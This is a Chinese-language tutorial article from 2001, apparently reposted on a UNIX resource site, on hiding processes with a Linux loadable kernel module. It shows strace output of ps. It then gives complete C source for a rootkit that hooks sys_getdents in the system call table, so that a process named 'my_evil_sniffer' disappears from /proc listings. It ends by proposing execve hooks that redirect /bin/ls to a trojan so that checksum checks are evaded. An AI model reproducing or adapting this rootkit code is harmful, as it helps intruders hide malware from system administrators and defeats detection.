[ 永远的UNIX::UNIX技术资料的宝库 ]

首页 > 网络安全 > 程序 > 正文

pingbackdoor的隐藏(2)

来源:本文出自: http://e4gle.org 作者: 大鹰 (2001-07-04 21:04:00)

by 大鹰
www.patching.net
好,我们看进程的隐藏,其实道理和前面差不多,我们先来看看ps用了哪些系统调用,以便我们来截获它
[hello!e4gle]# strace ps
.............
open("/proc/10284/stat", O_RDONLY)      = 5
read(5, "10284 (ps) R 10283 10283 10169 7"..., 511) = 185
close(5)                                = 0
open("/proc/10284/statm", O_RDONLY)     = 5
read(5, "115 115 96 5 0 110 19\n", 511) = 22
close(5)                                = 0
open("/proc/10284/status", O_RDONLY)    = 5
read(5, "Name:\tps\nState:\tR (running)\nPid:"..., 511) = 411
close(5)                                = 0
ioctl(1, TIOCGWINSZ, {ws_row=42, ws_col=80, ws_xpixel=0, ws_ypixel=0}) = 0
brk(0)                                  = 0x8162908
brk(0x8162928)                          = 0x8162928
brk(0x8163000)                          = 0x8163000
geteuid()                               = 0
getpid()                                = 10284
lseek(3, 0, SEEK_SET)                   = 0
read(3, "169129.48 167700.41\n", 1023)  = 20
time(NULL)                              = 984486166
open("/proc/meminfo", O_RDONLY)         = 5
...............
我截取了一部分,其实已经可以说明问题,非常简单,象ps之类的命令并不是直接用任何特殊的系统调用
来获得当前进程的列表的(也没有系统调用可以完成这项任务) 通过对ps命令的strace,你会发现其实它
是从/proc目录里得到进程信息的。在/proc里你可以找到很多目录,它们的名字都是仅仅由数字组成的(
比较奇怪吧;),那些数字就是运行着的进程的PID了,在这些目录里你可以找到与该进程有关的任何信息
,所以呢,ps命令其实就是对/proc运行了ls而已,而进程的相关信息,则是在/proc/PID的目录里放着,
好了,现在我们有办法了,ps必须从/proc目录里读东西,所以它要用到sys_getdents(...),我们只要从
PID来找出进程名,然后再把PID和/proc里的比较,如果是我们想藏的东西,就象前面所说的隐藏目录一
样,把它给封杀掉,上面程序中的两个task的函数及invisible函数仅是用来获得在/proc里找到PID的名
字的,至于文件隐藏,不用我多说了罢。

好,我把实现例程贴出来供参考:
#define MODULE
#define __KERNEL__

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

extern void* sys_call_table[];

/*我们想要隐藏的进程名*/
char mtroj[] = "my_evil_sniffer";

int (*orig_getdents)(unsigned int fd, struct dirent *dirp, unsigned int count);

/*将string转换为数字*/
int myatoi(char *str)
{
 int res = 0;
 int mul = 1;
 char *ptr;
 for (ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
  if (*ptr < '0' || *ptr > '9')
   return (-1);
  res += (*ptr - '0') * mul;
  mul *= 10;
 }
 return (res);
}

/*从PID里取得任务列表的结构*/
struct task_struct *get_task(pid_t pid)
{
 struct task_struct *p = current;
 do {
  if (p->pid == pid)
   return p;
   p = p->next_task;
  }
  while (p != current);
  return NULL;
}

/*从任务列表里取得进程的名字*/
static inline char *task_name(struct task_struct *p, char *buf)
{
 int i;
 char *name;

 name = p->comm;
 i = sizeof(p->comm);
 do {
  unsigned char c = *name;
  name++;
  i--;
  *buf = c;
  if (!c)
   break;
  if (c == '\\') {
   buf[1] = c;
   buf += 2;
   continue;
  }
  if (c == '\n') {
   buf[0] = '\\';
   buf[1] = 'n';
   buf += 2;
   continue;
  }
  buf++;
 }
 while (i);
 *buf = '\n';
 return buf + 1;
}

/*检查这个进程是否是我们想要隐藏的家伙*/
int invisible(pid_t pid)
{
 struct task_struct *task = get_task(pid);
 char *buffer;
 if (task) {
  buffer = kmalloc(200, GFP_KERNEL);
  memset(buffer, 0, 200);
  task_name(task, buffer);
  if (strstr(buffer, (char *) &mtroj)) {
   kfree(buffer);
   return 1;
  }
 }
 return 0;
}

/*从我刚才的第一篇文章就已经说过了,呵呵不多说了*/
int hacked_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
 unsigned int tmp, n;
 int t, proc = 0;
 struct inode *dinode;
 struct dirent *dirp2, *dirp3;

 tmp = (*orig_getdents) (fd, dirp, count);

#ifdef __LINUX_DCACHE_H
 dinode = current->files->fd[fd]->f_dentry->d_inode;
#else
 dinode = current->files->fd[fd]->f_inode;
#endif

 if (dinode->i_ino == PROC_ROOT_INO && !MAJOR(dinode->i_dev) && MINOR(dinode->i_dev) == 1)
  proc=1;
 if (tmp > 0) {
  dirp2 = (struct dirent *) kmalloc(tmp, GFP_KERNEL);
  memcpy_fromfs(dirp2, dirp, tmp);
  dirp3 = dirp2;
  t = tmp;
  while (t > 0) {
   n = dirp3->d_reclen;
   t -= n;
  if ((proc && invisible(myatoi(dirp3->d_name)))) {
   if (t != 0)
    memmove(dirp3, (char *) dirp3 + dirp3->d_reclen, t);
   else
    dirp3->d_off = 1024;
    tmp -= n; 
   }
   if (t != 0)
    dirp3 = (struct dirent *) ((char *) dirp3 + dirp3->d_reclen);
  }
  memcpy_tofs(dirp, dirp2, tmp);
  kfree(dirp2);
 }
 return tmp;
}


int init_module(void)                /*加载*/
{
 orig_getdents=sys_call_table[SYS_getdents];
 sys_call_table[SYS_getdents]=hacked_getdents;
 return 0;
}

void cleanup_module(void)            /*卸载*/
{
 sys_call_table[SYS_getdents]=orig_getdents;                                      
}

其实其他我就不多说了,都是在重复劳动了,同样隐藏网络连接我们可以截获netstat命令的系统调用就
可以了。

我们还可以截获sys_execve(...)来重定向系统命令如/bin/ps,/bin/ls,呵呵,其实和本文是两回事了,
说说而已,也就是把/bin/ls重定向到我们的ls木马或rootkit程序,这样可以躲过checksum的校验,因为
我们根本没有替换/bin/ls,呵呵,照这个思路我们可以做的事情非常多,发挥想象可以做出很多好玩的
木马。



(http://www.fanqiang.com)



 
 相关文章

★  感谢所有的作者为我们学习技术知识提供了一条捷径  ★
www.fanqiang.com